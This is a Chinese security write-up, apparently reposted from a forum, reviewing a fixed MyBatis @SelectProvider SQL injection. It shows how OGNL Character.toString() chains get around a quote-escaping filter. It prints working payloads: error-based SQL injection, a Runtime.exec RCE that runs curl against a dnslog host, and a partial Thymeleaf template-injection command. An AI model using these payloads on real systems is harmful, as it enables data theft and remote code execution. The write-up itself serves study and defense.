0x00 背景
Mybatis是java生态中比较常见的持久层框架。在MyBatis3开始提供了使用Provider注解指定某个工具类的方法来动态编写SQL。常见的注解有:
- @SelectProvider
- @InsertProvider
- @UpdateProvider
- @DeleteProvider
跟所有ORM框架一样,若使用不当,会存在SQL注入风险。(只要是通过SQL拼接,都会存在风险。)
在实际业务中发现一处Provider注入的case,当前漏洞已经修复完毕 。提取关键的的漏洞代码做下复盘。
查看mapper代码,可以看到name参数直接通过SQL拼接的方式进行查询,如果用户可控的话,会存在SQL注入风险:
@SelectProvider(type = UserProvider.class, method = "getUserByName")
List<User>
getUserByName
(String name)
;
class
UserProvider
{
public
String
getUserByName
(String name)
{
String s =
new
SQL() {
{
SELECT(
"*"
);
FROM(
"users"
);
WHERE(
"username like'%"
+name+
"%'"
);
}
}.toString();
return
s;
}
}
回溯对应的参数传递过程,发现name参数经过了如下函数的处理:
MySQLCodec.v().encode(sql)
跟进具体的代码,核心处理代码如下,该方法是根据ESAPI魔改的方法,会
对参数进行编码转译处理,规避SQL注入的风险:
private
String
encodeCharacterMySQL
( Character c )
{
char
ch = c.charValue();
if
( ch ==
0x00
)
return
"\0"
;
if
( ch ==
0x08
)
return
"\b"
;
if
( ch ==
0x09
)
return
"\t"
;
if
( ch ==
0x0a
)
return
"\n"
;
if
( ch ==
0x0d
)
return
"\r"
;
if
( ch ==
0x1a
)
return
"\Z"
;
if
( ch ==
0x22
)
return
"\""
;
if
( ch ==
0x27
)
return
"\'"
;
if
( ch ==
0x5c
)
return
"\\"
;
return
""
+c;
}
存在注入点的地方为like模糊查询,经过encode()处理后单引号被转义,没办法闭合SQL上下文,无法利用。那么有没有办法可以绕过对应的安全过滤处理成功利用呢?下面是具体的思考过程:
0x01 绕过过程
实际上MyBatis 默认是支持OGNL 表达式的,尤其是在动态SQL中,通过OGNL 表达式可以灵活的组装 SQL 语句,从而完成更多的功能。
而Provider注解是可以自定义SQL的过程。可以简单的类比为动态生成了一个xml mapper配置。如果定义的SQL中包含${},拼接成SQL后会调用DynamicSqlSource通过OgnlCache进行相应的解析。也就是说上述场景是支持OGNL表达式解析的 。(具体可见之前的文章,传送门:https://forum.butian.net/share/1749)
但是有个问题是,即使支持OGNL的解析,Java的函数调用传入参数也需要用到单双引号,MySQLCodec.
v
().encode()
方法同样的做了相应的转义处理。
比起之前只能围绕单双引号困扰,能执行OGNL的话就比较灵活了,可以看看有什么 单双引号的替代方案 。
先看看有什么字符是必要的,{}
是必要的,是mybaits进入OGNL解析的入口,其次OGNL表达式的格式如下,那么@
也是必要的。
@[类全名(包括包路径)]@[方法名 | 值名]
如果能解决单双引号的转义问题,在SQL注入的基础上,也能进一步调用OGNL对应执行命令的方法,达到RCE的效果。
0x02 Unicode编码
比较容易想到的思路就是编码,能不能通过编码的方式进行混淆,骗过转义机制。
ognl表达式支持u这种编码形式。例如如下两个表达式其实都是等价的,返回的结果都是字符串1
:
u0040u006au0061u0076u0061u002eu006cu0061u006eu0067u002eu0053u0074u0072u0069u006eu0067u0040u0076u0061u006cu0075u0065u004fu0066u0028u0031u0029
@java.lang.String@valueOf(1)
可以通过Unicode编码单双引号来绕过对应的转义过程,但是
同样的会经过转义处理,导致对应的表达式无法执行。
if
( ch ==
0x5c
)
return
"\\"
;
0x03 ASCII码
除此之外,ASCII转换字符串也是一个不错的思路。
在Java中,char与int两者是支持相加减的。在运算时,int取本身数值,char取对应的ASCII码值。得到的结果是ASCII码增加/减小int对应的数值大小。
如果结果赋值给char类型的变量即是该ASCII码对应的字符,如果赋值给int类型的变量即是该ASCII码的大小。
例如下面的例子,d的ascii码为100:
public
static
void
main
(String[] args)
{
char
str =
'd'
-
3
;
System.out.println(str);
//100-3=97,赋值给了char类型,所以输出ASCII码97对应的字符a
int
i =
'd'
-
3
;
System.out.println(i);
//赋值给了int类型,所以输出对应的数字97
}
那么可以考虑首先获取到一个char类型的变量,然后通过加法运算后,再进而转换为对应ASCII码对应的字符。
对应的OGNL表达式,执行后获取的内容为a
:
@java
.lang.Character
@toString(@java.lang.String@valueOf(0).charAt(0)+97)
实际上只需要调用Character.toString()
即可达到类似的效果了,对应的ognl表达式:
@java
.lang.Character
@toString(111)
根据上面的思路,可以通过Character.toString()
方法得到单个的字符串,那么只需要对这些字符串进行拼接,即可达到想要的内容了,整个过程是不需要使用到单双引号的。接下来验证对应的猜想。
- SQL注入
根据漏洞代码,输入单引号正常应该是会影响sql上下文导致报错的,但是因为通过MySQLCodec.v().encode()转义,单引号会被认为是普通查询的字符串:
按照前面的思路,这里通过ognl构造一个单引号进行查询,可以看到成功绕过了转义机制,实际sql查询时影响了上下文,导致报错:
同理,这里以报错注入为例,构造sql语句'and updatexml(1,concat(0x7e,user()),1) or '1'='1
,经过一系列的转换最终得到poc,可以查看成功通过报错注入得到了数据库用户名:
@java
.lang.Character
@toString(39)
+
@java
.lang.Character
@toString(97)
+
@java
.lang.Character
@toString(110)
+
@java
.lang.Character
@toString(100)
+
@java
.lang.Character
@toString(32)
+
@java
.lang.Character
@toString(117)
+
@java
.lang.Character
@toString(112)
+
@java
.lang.Character
@toString(100)
+
@java
.lang.Character
@toString(97)
+
@java
.lang.Character
@toString(116)
+
@java
.lang.Character
@toString(101)
+
@java
.lang.Character
@toString(120)
+
@java
.lang.Character
@toString(109)
+
@java
.lang.Character
@toString(108)
+
@java
.lang.Character
@toString(40)
+
@java
.lang.Character
@toString(49)
+
@java
.lang.Character
@toString(44)
+
@java
.lang.Character
@toString(99)
+
@java
.lang.Character
@toString(111)
+
@java
.lang.Character
@toString(110)
+
@java
.lang.Character
@toString(99)
+
@java
.lang.Character
@toString(97)
+
@java
.lang.Character
@toString(116)
+
@java
.lang.Character
@toString(40)
+
@java
.lang.Character
@toString(48)
+
@java
.lang.Character
@toString(120)
+
@java
.lang.Character
@toString(55)
+
@java
.lang.Character
@toString(101)
+
@java
.lang.Character
@toString(44)
+
@java
.lang.Character
@toString(117)
+
@java
.lang.Character
@toString(115)
+
@java
.lang.Character
@toString(101)
+
@java
.lang.Character
@toString(114)
+
@java
.lang.Character
@toString(40)
+
@java
.lang.Character
@toString(41)
+
@java
.lang.Character
@toString(41)
+
@java
.lang.Character
@toString(44)
+
@java
.lang.Character
@toString(49)
+
@java
.lang.Character
@toString(41)
+
@java
.lang.Character
@toString(32)
+
@java
.lang.Character
@toString(111)
+
@java
.lang.Character
@toString(114)
+
@java
.lang.Character
@toString(32)
+
@java
.lang.Character
@toString(39)
+
@java
.lang.Character
@toString(49)
+
@java
.lang.Character
@toString(39)
+
@java
.lang.Character
@toString(61)
+
@java
.lang.Character
@toString(39)
+
@java
.lang.Character
@toString(49)
- RCE
这里结合dnslog进行验证,尝试执行curl
28knso.dnslog.cn
命令,经过上述思路,得到的ongl表达式为:
@java
.lang.Runtime
@getRuntime()
.exec(
@java
.lang.Character
@toString(99)
+
@java
.lang.Character
@toString(117)
+
@java
.lang.Character
@toString(114)
+
@java
.lang.Character
@toString(108)
+
@java
.lang.Character
@toString(32)
+
@java
.lang.Character
@toString(50)
+
@java
.lang.Character
@toString(56)
+
@java
.lang.Character
@toString(107)
+
@java
.lang.Character
@toString(110)
+
@java
.lang.Character
@toString(115)
+
@java
.lang.Character
@toString(111)
+
@java
.lang.Character
@toString(46)
+
@java
.lang.Character
@toString(100)
+
@java
.lang.Character
@toString(110)
+
@java
.lang.Character
@toString(115)
+
@java
.lang.Character
@toString(108)
+
@java
.lang.Character
@toString(111)
+
@java
.lang.Character
@toString(103)
+
@java
.lang.Character
@toString(46)
+
@java
.lang.Character
@toString(99)
+
@java
.lang.Character
@toString(110)
)
发起reques请求,结合dnslog成功验证:
0x04 其他
能直接通过OGNL执行命令当然最好了,如果有相关限制没办法达到目的的话,单纯的利用SQL注入也是一个不错的选择。
除了上述的思路,还可以对poc进行更多的变形,假设+号无法使用的话,实际上可以利用concact方法来完成字符串的拼接,对应的ognl如下,最终得到的是字符串ll:
@java
.lang.Character
@toString(108)
.concat(
@java
.lang.Character
@toString(108)
)
同样的,假设Character不可用,还可以通过字节转换来构造:
new
java.lang.String(
new
byte
[]{
97
})
同样的思路也可以用在Thymeleaf模板注入中,例如执行cat命令:
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).
转载:https:
//forum.butian.net/share/1844
作者:tkswifty
欢迎大家去关注作者
原文始发于微信公众号(星冥安全):记一次“SQL注入” Bypass
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论